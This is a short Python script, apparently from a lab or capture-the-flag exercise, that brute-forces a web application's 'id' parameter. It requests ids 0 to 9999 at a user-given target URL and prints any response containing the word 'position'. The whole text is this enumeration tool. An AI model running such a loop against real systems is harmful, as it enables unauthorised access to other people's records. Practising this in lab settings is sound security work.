ID parameter

Brute-force a web application's parameter 'id'

import requests, sys

def brute():
    try:
        value = range(10000)
        for val in value:
            url = sys.argv[1]
            r = requests.get(url + '/?id='+str(val))
            if "position" in r.text:
                print("Number found!", val)
                print(r.text)
    except IndexError:
        print("Enter a URL E.g.: http://<TARGET IP>:3003/")

brute()